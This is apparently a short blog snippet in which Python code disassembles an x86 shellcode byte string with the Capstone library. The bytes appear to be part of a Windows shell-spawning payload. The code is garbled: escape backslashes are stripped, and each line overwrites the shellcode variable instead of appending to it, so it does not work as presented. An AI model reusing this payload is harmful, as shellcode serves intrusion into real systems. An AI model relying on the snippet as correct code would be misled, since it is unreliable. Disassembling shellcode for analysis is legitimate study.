shellcode  = "xe3x57x57x57x31xf6x6ax12x59x56xe2xfdx66"
shellcode  = "xc7x44x24x3cx01x01x8dx44x24x10xc6x00x44"
shellcode  = "x54x50x56x56x56x46x56x4ex56x56x53x56x68"
shellcode  = "x79xccx3fx86xffxd5x89xe0x4ex56x46xffx30"
shellcode  = "x68x08x87x1dx60xffxd5xbbxaaxc5xe2x5dx68"
shellcode  = "xa6x95xbdx9dxffxd5x3cx06x7cx0ax80xfbxe0"
shellcode  = "x75x05xbbx47x13x72x6fx6ax00x53xffxd5"
md = Cs(CS_ARCH_X86, CS_MODE_32)
for i in md.disasm(shellcode, 0x00):
    print("0x%x:t%st%s" %(i.address, i.mnemonic, i.op_str))

0 人点赞